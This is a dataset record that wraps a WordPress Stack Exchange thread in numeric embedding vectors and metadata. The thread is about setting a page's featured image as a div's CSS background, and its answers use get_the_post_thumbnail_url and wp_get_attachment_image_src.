-0.0195770263671875,
-0.048736572265625,
-0.03314208984375,
0.08355712890625,
-0.0149383544921875,
0.04705810546875,
-0.068603515625,
-0.038482666015625,
0.0207977294921875,
-0.02557373046875,
0.042144775390625,
0.00647735595703125,
-0.00667572021484375,
0.03485107421875,
0.014617919921875,
-0.0017833709716796875,
0.0004527568817138672,
-0.01544952392578125,
-0.00856781005859375,
0.02496337890625,
-0.017822265625,
-0.0033283233642578125,
0.006954193115234375,
-0.015167236328125,
0.0738525390625,
-0.0241851806640625,
-0.057464599609375,
0.01204681396484375,
-0.027191162109375,
-0.006099700927734375,
0.0469970703125,
-0.0233154296875,
0.0227508544921875,
0.0286407470703125,
0.00514984130859375,
0.01100921630859375,
-0.0293731689453125,
0.0184326171875,
-0.0282745361328125,
-0.023040771484375,
-0.01145172119140625,
-0.0075531005859375,
-0.01407623291015625,
0.06707763671875,
-0.060760498046875,
0.043243408203125,
0.0015420913696289062,
-0.0164031982421875,
0.013397216796875,
-0.003276824951171875,
0.011199951171875,
0.0200042724609375,
0.01715087890625,
-0.01715087890625,
0.07379150390625,
-0.0106201171875,
-0.04095458984375,
-0.00040435791015625,
-0.0205535888671875,
-0.031585693359375,
0.0279083251953125,
0.0616455078125,
0.051361083984375,
-0.025146484375,
-0.002872467041015625,
0.039306640625,
-0.001499176025390625,
-0.01398468017578125,
-0.0132904052734375,
-0.0023555755615234375,
0.02880859375,
-0.0201873779296875,
0.0308685302734375,
-0.040283203125,
0.01262664794921875,
0.00968170166015625,
-0.006046295166015625,
-0.003444671630859375,
-0.00567626953125,
-0.01259613037109375,
-0.01181793212890625,
0.0150909423828125,
-0.035919189453125,
-0.02490234375,
0.0032863616943359375,
-0.01348876953125,
0.0181884765625,
-0.003231048583984375,
0.020416259765625,
-0.01403045654296875,
-0.00299072265625,
-0.0123443603515625,
0.033294677734375,
-0.0177459716796875,
-0.0528564453125,
-0.03704833984375,
0.0005955696105957031,
-0.0604248046875,
-0.0294952392578125,
0.0029125213623046875,
-0.006153106689453125,
-0.044891357421875,
-0.01043701171875,
0.0004246234893798828,
0.0159149169921875,
-0.009185791015625,
-0.03436279296875,
-0.0270233154296875,
0.003116607666015625,
0.01496124267578125,
-0.01438140869140625,
-0.00952911376953125,
0.05328369140625,
-0.0350341796875,
0.0288543701171875,
-0.00902557373046875,
0.02239990234375,
-0.00580596923828125,
-0.00021922588348388672,
0.0200347900390625,
-0.059783935546875,
-0.0556640625,
0.0077667236328125,
-0.06622314453125,
0.039642333984375,
0.0205841064453125,
-0.0109100341796875,
0.0150146484375,
-0.00626373291015625,
0.0036220550537109375,
-0.000004947185516357422,
0.0275115966796875,
-0.0019359588623046875,
-0.007503509521484375,
0.055084228515625,
0.0026493072509765625,
0.0289154052734375,
-0.022979736328125,
-0.04473876953125,
0.01540374755859375,
0.0106658935546875,
0.01495361328125,
0.003444671630859375,
-0.0087432861328125,
-0.01103973388671875,
-0.0131683349609375,
0.0017080307006835938,
0.0020618438720703125,
-0.02166748046875,
0.004604339599609375,
-0.0046539306640625,
-0.034149169921875,
0.007526397705078125,
-0.00896453857421875,
0.0338134765625,
-0.022186279296875,
-0.005313873291015625,
0.03814697265625,
-0.031036376953125,
-0.002986907958984375,
0.033233642578125,
0.035797119140625,
-0.044952392578125,
-0.01062774658203125,
-0.0064697265625,
-0.034332275390625,
-0.01381683349609375,
0.00978851318359375,
-0.0239410400390625,
-0.025054931640625,
-0.0032634735107421875,
-0.00806427001953125,
-0.033111572265625,
-0.0161895751953125,
0.006031036376953125,
0.0010271072387695312,
0.011871337890625,
0.0538330078125,
0.005092620849609375,
-0.035308837890625,
-0.007080078125,
0.0176239013671875,
0.0224761962890625,
-0.018157958984375,
0.007198333740234375,
0.002407073974609375,
-0.010101318359375,
-0.07403564453125,
-0.00682830810546875,
-0.0280609130859375,
-0.004108428955078125,
-0.0166015625,
-0.005908966064453125,
0.02679443359375,
0.051025390625,
-0.010772705078125,
-0.0232086181640625,
0.0193023681640625,
-0.022216796875,
-0.0008072853088378906,
-0.02685546875,
0.032745361328125,
0.03179931640625,
-0.034698486328125,
0.02410888671875,
-0.003635406494140625,
-0.03759765625,
-0.02386474609375,
-0.039276123046875,
0.0845947265625,
-0.05474853515625,
0.0100250244140625,
0.0150604248046875,
0.043212890625,
0.01000213623046875,
0.0103607177734375,
-0.0290985107421875,
-0.006565093994140625,
0.0193939208984375,
-0.01282501220703125,
-0.0245819091796875,
0.037689208984375,
0.0141754150390625,
-0.046417236328125,
0.0133514404296875,
0.01043701171875,
0.00615692138671875,
-0.01485443115234375,
0.00481414794921875,
0.0259246826171875,
0.0200042724609375,
-0.03131103515625,
0.059356689453125,
-0.06170654296875,
0.06256103515625,
-0.0843505859375,
-0.00818634033203125,
0.0057525634765625,
0.045562744140625,
0.0109405517578125,
-0.01513671875,
-0.06732177734375,
-0.0038661956787109375,
0.08642578125,
0.06939697265625,
0.06268310546875,
0.02886962890625,
0.0173187255859375,
0.031982421875,
0.02801513671875,
-0.0335693359375,
0.0301055908203125,
-0.039642333984375,
0.0103759765625,
0.042083740234375,
0.01450347900390625,
0.028778076171875,
-0.01427459716796875,
-0.00771331787109375,
-0.0521240234375,
-0.006977081298828125,
0.03955078125,
-0.0005908012390136719,
0.0229644775390625,
0.0210418701171875,
0.048675537109375,
-0.1038818359375,
-0.06121826171875,
-0.021636962890625,
0.037078857421875,
0.01155853271484375,
0.0596923828125,
0.045440673828125,
0.0284881591796875,
0.06597900390625,
-0.058258056640625,
0.03753662109375,
-0.03277587890625,
-0.056549072265625,
0.0168304443359375,
0.00634765625,
0.022125244140625,
-0.03826904296875,
-0.00652313232421875,
0.04638671875,
0.03961181640625,
-0.03070068359375,
-0.040008544921875,
0.018463134765625,
0.003093719482421875,
-0.01983642578125,
-0.0019063949584960938,
-0.042694091796875,
0.0293121337890625,
0.0670166015625,
-0.0310211181640625,
0.002559661865234375,
0.016387939453125,
-0.007625579833984375,
-0.0157623291015625,
0.004657745361328125,
0.01666259765625,
0.00693511962890625,
-0.0225372314453125,
0.003429412841796875,
0.04168701171875,
0.04559326171875,
-0.03009033203125,
0.046966552734375,
-0.044097900390625,
-0.0086669921875,
-0.01251983642578125,
0.01483917236328125,
-0.035614013671875,
0.02813720703125,
-0.0302734375,
-0.053924560546875,
-0.0198822021484375,
0.032257080078125,
0.0009255409240722656,
0.02801513671875,
0.030853271484375,
0.01442718505859375,
-0.0294952392578125,
-0.0123443603515625,
0.04986572265625,
-0.0242919921875,
-0.06494140625,
-0.0194244384765625,
0.0004162788391113281,
0.061737060546875,
0.01120758056640625,
0.01534271240234375,
0.02410888671875,
0.032196044921875,
0.02789306640625,
0.0190582275390625,
0.024688720703125,
-0.0182952880859375,
0.0225982666015625,
0.006862640380859375,
0.040435791015625,
0.048126220703125,
-0.07122802734375,
-0.0086669921875,
-0.0179595947265625,
-0.073486328125,
0.0215301513671875,
0.039459228515625,
-0.006504058837890625,
-0.0198974609375,
0.027923583984375,
-0.051727294921875,
0.013427734375,
0.0213623046875,
0.03607177734375,
0.01355743408203125,
-0.0165252685546875,
0.00565338134765625,
-0.06695556640625,
-0.0012159347534179688,
0.0265655517578125,
-0.0292816162109375,
-0.02154541015625,
0.04449462890625,
0.0245361328125,
-0.0225677490234375,
-0.006969451904296875,
0.0014638900756835938,
0.001674652099609375,
-0.0183563232421875,
0.0347900390625,
-0.0124053955078125,
-0.016937255859375,
-0.00237274169921875,
-0.007740020751953125,
-0.0144500732421875,
0.037872314453125,
-0.03863525390625,
-0.021331787109375,
-0.0163421630859375,
0.028350830078125,
-0.009002685546875,
-0.0022945404052734375,
-0.041534423828125,
0.0280914306640625,
0.012054443359375,
-0.05889892578125,
0.0233306884765625,
-0.0233306884765625,
0.03973388671875,
0.027191162109375,
0.0203094482421875,
-0.033233642578125,
0.0302276611328125,
-0.059844970703125,
0.0633544921875,
0.0276641845703125,
0.021636962890625,
0.001399993896484375,
-0.005706787109375,
-0.0279541015625,
0.0009055137634277344,
0.01320648193359375,
-0.024139404296875,
0.013702392578125,
-0.05108642578125,
-0.01092529296875,
-0.007724761962890625,
0.046234130859375,
-0.0006861686706542969,
0.01288604736328125,
-0.0380859375,
0.0074920654296875,
-0.005321502685546875,
0.032135009765625,
-0.021759033203125,
0.0133209228515625,
-0.0121307373046875,
-0.014373779296875,
0.0286712646484375,
-0.04815673828125,
-0.0306396484375,
-0.0253448486328125,
0.03863525390625,
0.021728515625,
-0.054290771484375,
0.01273345947265625,
-0.004375457763671875,
-0.006496429443359375,
0.0277862548828125,
-0.033966064453125,
0.011474609375,
0.038848876953125,
0.0016384124755859375,
0.01309967041015625,
-0.01947021484375,
-0.0218353271484375,
-0.0060577392578125,
0.01129913330078125,
0.04205322265625,
-0.01016998291015625,
-0.0657958984375,
0.01317596435546875,
-0.007152557373046875,
0.061370849609375,
-0.02032470703125,
-0.019073486328125,
0.004329681396484375,
0.011810302734375,
-0.0090484619140625,
-0.0182647705078125,
-0.0004303455352783203,
-0.01678466796875,
-0.0208282470703125,
0.00327301025390625,
0.0267333984375,
0.045166015625,
-0.017303466796875,
-0.09039306640625,
0.04046630859375,
-0.0279083251953125,
-0.040374755859375,
-0.08953857421875,
-0.0239105224609375,
0.0214996337890625,
-0.0264434814453125,
-0.024200439453125,
-0.0191650390625,
-0.08978271484375,
0.031494140625,
0.0030193328857421875,
0.060150146484375,
0.005290985107421875,
0.02569580078125,
-0.016632080078125,
0.01442718505859375,
-0.014617919921875,
0.00803375244140625,
-0.006916046142578125,
0.0026760101318359375,
-0.0006184577941894531,
0.0178985595703125,
-0.031463623046875,
-0.006000518798828125,
0.0033626556396484375,
-0.008819580078125,
0.01007080078125,
-0.02410888671875,
-0.0374755859375,
-0.02203369140625,
0.035430908203125,
0.031646728515625,
0.01806640625,
-0.005779266357421875,
0.016510009765625,
0.011810302734375,
-0.029144287109375,
-0.00887298583984375,
0.01508331298828125,
-0.031402587890625,
-0.00835418701171875,
-0.00445556640625,
0.01132965087890625,
-0.011383056640625,
-0.03192138671875,
-0.02667236328125,
-0.0177459716796875,
-0.01378631591796875,
0.0024509429931640625,
-0.023956298828125,
0.0197601318359375,
0.06298828125,
-0.0634765625,
-0.055877685546875,
0.0048065185546875,
0.00879669189453125,
-0.02618408203125,
-0.07275390625,
0.033050537109375,
0.053558349609375,
0.0023193359375,
-0.0198211669921875,
0.071044921875,
-0.044891357421875,
0.049560546875,
-0.0060882568359375,
-0.01462554931640625,
0.033447265625,
0.0131683349609375,
0.0248870849609375,
-0.06805419921875,
0.045806884765625,
0.0128021240234375,
0.07501220703125,
0.0130462646484375,
0.0258636474609375,
0.01157379150390625,
0.042877197265625,
-0.0087432861328125,
-0.037872314453125,
0.022308349609375,
-0.02691650390625,
0.0153656005859375,
-0.008819580078125,
0.0254669189453125,
-0.005596160888671875,
-0.004734039306640625,
0.006153106689453125,
-0.01299285888671875,
0.00632476806640625
] |
01a9b5b744eaff9ca6341f644dde1f493932fca1
|
Wordpress Stackexchange
Q: featured image as background image on pages I'm adding a featured image on my page through the dashboard and I want to use it as a background image on the container div of the page.
I want to apply the background image through css, so I am thinking to put a style attribute inside my markup.
I'm thinking to make something like this:
<div id="<?php echo $post_name; ?>" class="page<?php echo $post_id; ?>" style="background: url(<?php wp_get_attachment_image_src( get_post_thumbnail_id(), 'large' ); ?>) !important;">
But unfortunately this is not working.
When I check the output is like this:
background: url() !important;
What is wrong with this ?
Any suggestions?
Thanks!
A: Try to use the the_post_thumbnail_url function:
Gets the direct image URL for the featured image of the current post.
<div id="<?php echo post_name; ?>" class="page<?php
echo $post_id; ?>" style="background: url(<?php
echo get_the_post_thumbnail_url( $post_id, 'large' ); ?>) !important;">
|
Q: featured image as background image on pages I'm adding a featured image on my page through the dashboard and I want to use it as a background image on the container div of the page.
I want to apply the background image through css, so I am thinking to put a style attribute inside my markup.
I'm thinking to make something like this:
<div id="<?php echo $post_name; ?>" class="page<?php echo $post_id; ?>" style="background: url(<?php wp_get_attachment_image_src( get_post_thumbnail_id(), 'large' ); ?>) !important;">
But unfortunately this is not working.
When I check the output is like this:
background: url() !important;
What is wrong with this ?
Any suggestions?
Thanks!
A: Try to use the the_post_thumbnail_url function:
Gets the direct image URL for the featured image of the current post.
<div id="<?php echo post_name; ?>" class="page<?php
echo $post_id; ?>" style="background: url(<?php
echo get_the_post_thumbnail_url( $post_id, 'large' ); ?>) !important;">
A: You need to echo the return value from wp_get_attachment_image_src(). It also returns an Array(), so you need to grab the needed part from that array. In this case it's the first/0 value. Example:
<?php $thumb = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'full' );?>
<div id="post" class="your-class" style="background-image: url('<?php echo $thumb['0'];?>')">
<p>your text demo</p>
</div>
|
wordpress
|
{
"language": "en",
"length": 197,
"provenance": "stackexchange_00019.jsonl.gz:437655",
"question_score": "10",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115954"
}
|
[
0.062469482421875,
-0.0015344619750976562,
0.040802001953125,
-0.02801513671875,
0.0220489501953125,
-0.03753662109375,
0.05999755859375,
-0.04736328125,
0.0377197265625,
0.01097869873046875,
-0.06463623046875,
0.01482391357421875,
-0.035736083984375,
-0.0023021697998046875,
-0.018157958984375,
-0.0214691162109375,
0.03729248046875,
0.0078277587890625,
0.064208984375,
0.0266571044921875,
0.016693115234375,
0.06439208984375,
-0.00284576416015625,
-0.0005207061767578125,
0.04296875,
-0.05218505859375,
0.054046630859375,
0.00965118408203125,
0.009063720703125,
-0.0005230903625488281,
0.026123046875,
-0.0144500732421875,
0.00635528564453125,
0.032135009765625,
-0.006694793701171875,
-0.004306793212890625,
0.004734039306640625,
0.004184722900390625,
-0.0005512237548828125,
0.020538330078125,
0.01287841796875,
0.0016326904296875,
0.045867919921875,
-0.010498046875,
0.0001875162124633789,
-0.037506103515625,
0.01371002197265625,
-0.043975830078125,
0.01500701904296875,
-0.003536224365234375,
0.0125885009765625,
0.0275421142578125,
0.0094451904296875,
-0.0122833251953125,
-0.01337432861328125,
0.0008058547973632812,
-0.028717041015625,
0.027099609375,
0.0328369140625,
0.00470733642578125,
-0.0220184326171875,
-0.011444091796875,
0.0303802490234375,
-0.016632080078125,
0.016998291015625,
-0.00010454654693603516,
-0.0006747245788574219,
0.0017213821411132812,
-0.03961181640625,
0.00782012939453125,
0.033050537109375,
-0.044464111328125,
-0.0202178955078125,
-0.04803466796875,
-0.030548095703125,
0.029083251953125,
-0.0130615234375,
-0.05242919921875,
-0.007232666015625,
0.00534820556640625,
-0.0227508544921875,
0.00753021240234375,
-0.0291900634765625,
-0.0201873779296875,
0.0161590576171875,
0.0067596435546875,
-0.01947021484375,
-0.0054473876953125,
-0.01407623291015625,
-0.0214996337890625,
-0.01983642578125,
-0.034759521484375,
-0.0182037353515625,
0.01412200927734375,
-0.01136016845703125,
-0.0218505859375,
0.03887939453125,
0.048248291015625,
-0.00684356689453125,
0.0277099609375,
-0.00797271728515625,
-0.038818359375,
0.0784912109375,
-0.061309814453125,
0.0031642913818359375,
0.053741455078125,
0.01236724853515625,
0.01377105712890625,
0.01071929931640625,
0.0061492919921875,
0.000023186206817626953,
-0.00577545166015625,
0.0184173583984375,
-0.00817108154296875,
-0.03619384765625,
-0.0238037109375,
-0.026611328125,
-0.0114288330078125,
0.0159149169921875,
-0.04974365234375,
0.01111602783203125,
0.00595855712890625,
0.04193115234375,
-0.031585693359375,
0.0201568603515625,
0.00913238525390625,
-0.042327880859375,
-0.05096435546875,
-0.014251708984375,
0.03753662109375,
-0.0361328125,
0.01241302490234375,
0.031158447265625,
0.006305694580078125,
0.00189208984375,
-0.01136016845703125,
0.0200958251953125,
-0.016845703125,
0.003871917724609375,
0.01363372802734375,
-0.0146026611328125,
-0.007129669189453125,
0.03497314453125,
-0.0186920166015625,
0.00017368793487548828,
0.01053619384765625,
0.0042266845703125,
0.028900146484375,
-0.00734710693359375,
-0.10479736328125,
0.10894775390625,
-0.05364990234375,
0.00986480712890625,
0.0318603515625,
0.03753662109375,
-0.013275146484375,
0.067626953125,
-0.0225372314453125,
-0.0029125213623046875,
-0.0528564453125,
0.045196533203125,
0.0260009765625,
0.00823211669921875,
0.0177459716796875,
0.0231170654296875,
-0.043670654296875,
-0.042724609375,
0.0015268325805664062,
0.0124664306640625,
-0.0025272369384765625,
-0.0030059814453125,
-0.0081787109375,
-0.01456451416015625,
0.026336669921875,
0.01538848876953125,
0.037933349609375,
0.06402587890625,
-0.01255035400390625,
0.0242919921875,
0.046539306640625,
-0.0251617431640625,
-0.028350830078125,
0.07318115234375,
-0.06976318359375,
-0.02093505859375,
-0.00188446044921875,
0.007781982421875,
0.042327880859375,
0.005931854248046875,
0.01885986328125,
0.00611114501953125,
-0.0018024444580078125,
-0.0290069580078125,
0.0055694580078125,
0.0005578994750976562,
-0.0096282958984375,
-0.02813720703125,
-0.013336181640625,
-0.02435302734375,
0.0150604248046875,
0.058319091796875,
0.00409698486328125,
0.01239776611328125,
-0.0084686279296875,
-0.012786865234375,
0.00968170166015625,
-0.01389312744140625,
0.013427734375,
-0.035675048828125,
0.0133056640625,
0.018798828125,
0.0302886962890625,
0.00899505615234375,
-0.10748291015625,
-0.0077056884765625,
0.05230712890625,
0.0029621124267578125,
-0.0118408203125,
0.0035877227783203125,
0.044403076171875,
-0.004032135009765625,
0.0299530029296875,
-0.0255889892578125,
0.015777587890625,
0.03045654296875,
0.010101318359375,
-0.0304718017578125,
-0.0215606689453125,
-0.0233306884765625,
0.01096343994140625,
-0.066162109375,
0.0562744140625,
0.0028076171875,
0.021148681640625,
-0.029754638671875,
-0.027984619140625,
-0.00806427001953125,
-0.0684814453125,
0.01509857177734375,
0.052276611328125,
0.03912353515625,
0.00832366943359375,
-0.015350341796875,
-0.0072479248046875,
0.08111572265625,
0.0248260498046875,
0.026885986328125,
-0.0302734375,
0.01416778564453125,
-0.013580322265625,
-0.013275146484375,
-0.0408935546875,
0.04412841796875,
-0.1207275390625,
0.035064697265625,
0.04150390625,
-0.00811767578125,
0.02923583984375,
-0.052886962890625,
0.040283203125,
-0.0011892318725585938,
0.0198974609375,
-0.0049285888671875,
-0.0187225341796875,
-0.00433349609375,
-0.006534576416015625,
0.00424957275390625,
0.006053924560546875,
0.0095062255859375,
-0.009796142578125,
0.0042724609375,
-0.047088623046875,
-0.00821685791015625,
0.059600830078125,
0.03228759765625,
-0.021240234375,
-0.00362396240234375,
-0.0174407958984375,
-0.04595947265625,
0.006992340087890625,
-0.00667572021484375,
-0.0184478759765625,
0.01480865478515625,
0.0027256011962890625,
0.0183258056640625,
-0.0433349609375,
0.0426025390625,
0.021270751953125,
0.005886077880859375,
0.00887298583984375,
0.0236968994140625,
0.0303497314453125,
-0.0032062530517578125,
0.0149383544921875,
0.0129241943359375,
-0.007328033447265625,
0.011505126953125,
-0.0144500732421875,
0.03662109375,
-0.032958984375,
0.0204010009765625,
0.05438232421875,
-0.041656494140625,
0.040374755859375,
0.0029430389404296875,
0.0178680419921875,
-0.0009417533874511719,
0.01126861572265625,
-0.00243377685546875,
0.0216217041015625,
-0.047607421875,
0.0114898681640625,
0.0404052734375,
0.037078857421875,
-0.00873565673828125,
-0.0292205810546875,
-0.01094818115234375,
0.021240234375,
-0.092041015625,
-0.116455078125,
-0.023101806640625,
-0.043212890625,
-0.01776123046875,
0.0118255615234375,
-0.0299530029296875,
0.017974853515625,
0.034698486328125,
-0.004314422607421875,
-0.032196044921875,
0.002338409423828125,
-0.037872314453125,
-0.06256103515625,
-0.07208251953125,
-0.0374755859375,
-0.01255035400390625,
0.02850341796875,
-0.0020160675048828125,
0.033599853515625,
0.007106781005859375,
-0.0184783935546875,
0.0223541259765625,
0.0447998046875,
0.006397247314453125,
-0.00279998779296875,
-0.0182037353515625,
0.00891876220703125,
-0.050018310546875,
0.00897216796875,
-0.0004925727844238281,
-0.0035686492919921875,
-0.00676727294921875,
0.01104736328125,
-0.04998779296875,
0.00576019287109375,
-0.041351318359375,
0.070068359375,
0.07647705078125,
-0.0023403167724609375,
0.01300811767578125,
-0.037078857421875,
-0.02239990234375,
-0.02325439453125,
-0.069580078125,
-0.0214691162109375,
0.031463623046875,
0.01155853271484375,
-0.027435302734375,
-0.003082275390625,
0.0198211669921875,
-0.01410675048828125,
0.0221710205078125,
-0.0091400146484375,
0.01409912109375,
-0.00579071044921875,
0.01430511474609375,
-0.034698486328125,
-0.01971435546875,
0.0005884170532226562,
0.0418701171875,
0.003345489501953125,
0.046112060546875,
-0.00696563720703125,
0.0638427734375,
-0.014862060546875,
-0.032379150390625,
0.0374755859375,
0.0019207000732421875,
0.01016998291015625,
-0.0173797607421875,
-0.0198516845703125,
0.007167816162109375,
0.0565185546875,
-0.059539794921875,
-0.030853271484375,
-0.039154052734375,
0.007167816162109375,
-0.0094757080078125,
-0.0258941650390625,
-0.0164794921875,
0.00029015541076660156,
-0.10260009765625,
-0.00395965576171875,
-0.0097808837890625,
-0.0260009765625,
-0.01776123046875,
0.0303955078125,
-0.066650390625,
-0.0411376953125,
0.02874755859375,
-0.00496673583984375,
-0.0139312744140625,
0.06927490234375,
-0.05389404296875,
0.06280517578125,
-0.03424072265625,
-0.0283203125,
-0.072509765625,
-0.0145721435546875,
0.0022754669189453125,
0.0557861328125,
-0.0126953125,
0.01031494140625,
-0.02130126953125,
0.052703857421875,
-0.0023365020751953125,
0.0191497802734375,
0.005748748779296875,
0.0048828125,
-0.0170745849609375,
-0.0039825439453125,
0.0135345458984375,
-0.03948974609375,
0.001865386962890625,
-0.004627227783203125,
-0.054290771484375,
-0.0233001708984375,
-0.022491455078125,
-0.0123443603515625,
0.033111572265625,
-0.028564453125,
0.00885009765625,
0.0091400146484375,
0.031707763671875,
0.061309814453125,
0.004360198974609375,
0.00860595703125,
-0.0274658203125,
-0.01114654541015625,
0.03839111328125,
0.0233612060546875,
0.006816864013671875,
0.0108184814453125,
0.072998046875,
0.0186614990234375,
-0.0232696533203125,
-0.0833740234375,
0.01079559326171875,
0.06561279296875,
0.018890380859375,
0.0043792724609375,
0.0003910064697265625,
-0.066162109375,
0.1009521484375,
0.041046142578125,
-0.01494598388671875,
-0.00768280029296875,
0.05902099609375,
-0.002452850341796875,
-0.019134521484375,
0.00817108154296875,
-0.008087158203125,
0.006290435791015625,
0.0210113525390625,
-0.0163116455078125,
0.00311279296875,
-0.0227508544921875,
-0.00714111328125,
-0.007183074951171875,
0.00995635986328125,
-0.0078125,
-0.034454345703125,
-0.0019626617431640625,
-0.0086669921875,
0.054901123046875,
0.034332275390625,
-0.014862060546875,
0.043548583984375,
0.04034423828125,
-0.0014019012451171875,
0.0260162353515625,
-0.0128631591796875,
0.01372528076171875,
0.0012674331665039062,
0.03314208984375,
0.0025787353515625,
0.011688232421875,
-0.01041412353515625,
0.046966552734375,
0.0186920166015625,
-0.04656982421875,
-0.0157470703125,
-0.011810302734375,
0.01505279541015625,
-0.0125885009765625,
-0.00423431396484375,
0.0235595703125,
0.0075531005859375,
-0.005138397216796875,
-0.0190887451171875,
-0.000056684017181396484,
-0.043487548828125,
-0.043914794921875,
0.0247039794921875,
0.034912109375,
-0.01062774658203125,
0.0494384765625,
0.01593017578125,
0.0284881591796875,
0.019866943359375,
-0.01251220703125,
-0.0097198486328125,
-0.0054779052734375,
0.018798828125,
0.002349853515625,
0.058929443359375,
-0.0310516357421875,
0.0195770263671875,
0.038482666015625,
-0.0171661376953125,
0.01605224609375,
0.0267791748046875,
0.0526123046875,
-0.032623291015625,
-0.052459716796875,
0.005031585693359375,
-0.05279541015625,
-0.025299072265625,
0.00897216796875,
-0.0176849365234375,
-0.03173828125,
-0.0207366943359375,
0.0157318115234375,
0.0460205078125,
0.013092041015625,
-0.05560302734375,
0.034027099609375,
-0.00655364990234375,
0.0633544921875,
0.006214141845703125,
-0.00443267822265625,
0.048431396484375,
0.0266876220703125,
-0.0046539306640625,
-0.00649261474609375,
-0.040557861328125,
0.03094482421875,
-0.0007996559143066406,
-0.0194854736328125,
-0.0016727447509765625,
0.04010009765625,
-0.045684814453125,
0.022552490234375,
-0.01422882080078125,
-0.01085662841796875,
-0.046173095703125,
0.0284423828125,
0.0355224609375,
0.0309600830078125,
0.0038242340087890625,
0.0029296875,
-0.041778564453125,
-0.02716064453125,
0.0292510986328125,
-0.0017604827880859375,
-0.0321044921875,
-0.03668212890625,
0.0289764404296875,
0.033477783203125,
-0.01107025146484375,
-0.040374755859375,
-0.030853271484375,
0.018310546875,
0.0291290283203125,
0.07928466796875,
-0.023773193359375,
0.0033473968505859375,
0.03240966796875,
0.01279449462890625,
-0.00794219970703125,
-0.019287109375,
0.00563812255859375,
-0.01184844970703125,
-0.0173492431640625,
-0.036651611328125,
0.01291656494140625,
0.02777099609375,
-0.0006718635559082031,
0.00228118896484375,
0.0148773193359375,
0.0256500244140625,
0.040618896484375,
-0.02752685546875,
-0.0044097900390625,
-0.024627685546875,
0.0105438232421875,
-0.06494140625,
0.00418853759765625,
0.005756378173828125,
-0.01377105712890625,
0.0114593505859375,
-0.0264892578125,
0.0014085769653320312,
-0.0089569091796875,
-0.023345947265625,
-0.019622802734375,
0.040252685546875,
-0.0175018310546875,
0.019134521484375,
0.07763671875,
0.0199737548828125,
0.059814453125,
0.0162506103515625,
0.0187530517578125,
0.0184173583984375,
0.039398193359375,
-0.006603240966796875,
-0.038116455078125,
0.059600830078125,
0.016754150390625,
-0.02215576171875,
0.035552978515625,
-0.032012939453125,
0.0308837890625,
-0.00614166259765625,
0.061798095703125,
0.0023212432861328125,
0.01456451416015625,
0.0190582275390625,
-0.0249786376953125,
0.058624267578125,
0.00951385498046875,
0.017913818359375,
0.02117919921875,
0.045867919921875,
-0.0268402099609375,
-0.01366424560546875,
0.01422119140625,
-0.0140838623046875,
0.00873565673828125,
-0.004425048828125,
0.00868988037109375,
-0.01422882080078125,
-0.102783203125,
-0.029510498046875,
0.07513427734375,
-0.054534912109375,
-0.01044464111328125,
0.005100250244140625,
-0.01111602783203125,
-0.0285186767578125,
-0.025421142578125,
0.00756072998046875,
-0.00677490234375,
-0.0135955810546875,
0.024810791015625,
0.00030159950256347656,
0.00696563720703125,
0.038299560546875,
-0.00013256072998046875,
0.0200653076171875,
0.00511932373046875,
-0.043365478515625,
0.05950927734375,
0.02227783203125,
0.031951904296875,
-0.04376220703125,
-0.0308990478515625,
-0.007335662841796875,
-0.038909912109375,
-0.007320404052734375,
-0.017730712890625,
-0.0171356201171875,
0.0604248046875,
-0.037261962890625,
-0.007297515869140625,
0.0205230712890625,
0.02801513671875,
-0.00844573974609375,
-0.01184844970703125,
0.05096435546875,
-0.047271728515625,
0.0007662773132324219,
0.013885498046875,
0.0121612548828125,
-0.006317138671875,
-0.03399658203125,
-0.048095703125,
0.06951904296875,
-0.0254058837890625,
0.009307861328125,
-0.01462554931640625,
0.051177978515625,
0.023468017578125,
0.02301025390625,
-0.00958251953125,
0.017120361328125,
-0.043182373046875,
0.0237884521484375,
-0.0287933349609375,
0.014984130859375,
0.0037860870361328125,
0.00765228271484375,
0.035797119140625,
0.010498046875,
-0.02154541015625,
0.00821685791015625,
0.048004150390625,
0.02801513671875,
-0.004123687744140625,
0.0341796875,
-0.02191162109375,
0.002597808837890625,
-0.00922393798828125,
-0.045562744140625,
0.01067352294921875,
-0.032867431640625,
-0.0301513671875,
-0.01195526123046875,
0.02301025390625,
0.0452880859375,
0.0215301513671875,
0.047760009765625,
-0.068359375,
0.02471923828125,
0.087646484375,
-0.10009765625,
0.016876220703125,
0.0224151611328125,
-0.01019287109375,
-0.00016391277313232422,
-0.00363922119140625,
-0.016815185546875,
0.037872314453125,
-0.0225677490234375,
0.028839111328125,
-0.0210113525390625,
0.00362396240234375,
0.030364990234375,
0.013885498046875,
-0.00008815526962280273,
0.058135986328125,
-0.0311126708984375,
0.01678466796875,
0.0245513916015625,
0.01202392578125,
-0.0277252197265625,
-0.0126953125,
0.04681396484375,
0.032806396484375,
-0.042236328125,
0.0015611648559570312,
0.00798797607421875,
0.02288818359375,
0.0273284912109375,
-0.042144775390625,
0.040252685546875,
-0.05389404296875,
-0.0281219482421875,
-0.03399658203125,
-0.002788543701171875,
0.043670654296875,
0.01666259765625,
-0.0033245086669921875,
-0.0299835205078125,
-0.0211181640625,
0.0081634521484375,
-0.006778717041015625,
-0.006999969482421875,
-0.0042572021484375,
-0.00710296630859375,
0.0039215087890625,
-0.0052947998046875,
0.021026611328125,
0.026458740234375,
-0.003559112548828125,
0.0239715576171875,
0.026519775390625,
0.0017957687377929688,
-0.0118408203125,
-0.012176513671875,
0.01422119140625,
0.0189666748046875,
-0.015380859375,
-0.041656494140625,
0.007762908935546875,
0.012054443359375,
-0.07696533203125,
-0.0304107666015625,
0.0037021636962890625,
-0.0341796875,
-0.004299163818359375,
-0.038970947265625,
0.0186309814453125,
0.021514892578125,
-0.0105133056640625,
0.0280303955078125,
-0.01221466064453125,
0.03924560546875,
-0.0419921875,
0.060394287109375,
-0.0128936767578125,
-0.0045623779296875,
-0.02996826171875,
-0.0287017822265625,
0.0333251953125,
-0.0211944580078125,
-0.0633544921875,
-0.0040130615234375,
-0.01168060302734375,
-0.0589599609375,
0.01541900634765625,
0.030059814453125,
-0.02777099609375,
0.01593017578125,
0.0035266876220703125,
0.0147857666015625,
-0.004547119140625,
-0.036285400390625,
0.01209259033203125,
-0.02880859375,
0.0225067138671875,
-0.00920867919921875,
-0.036285400390625,
-0.029693603515625,
-0.02294921875,
0.04022216796875,
0.00041174888610839844,
0.051025390625,
-0.02252197265625,
0.0310821533203125,
0.019378662109375,
0.014801025390625,
-0.0233306884765625,
0.00786590576171875,
0.006565093994140625,
-0.041015625,
-0.00946807861328125,
-0.007965087890625,
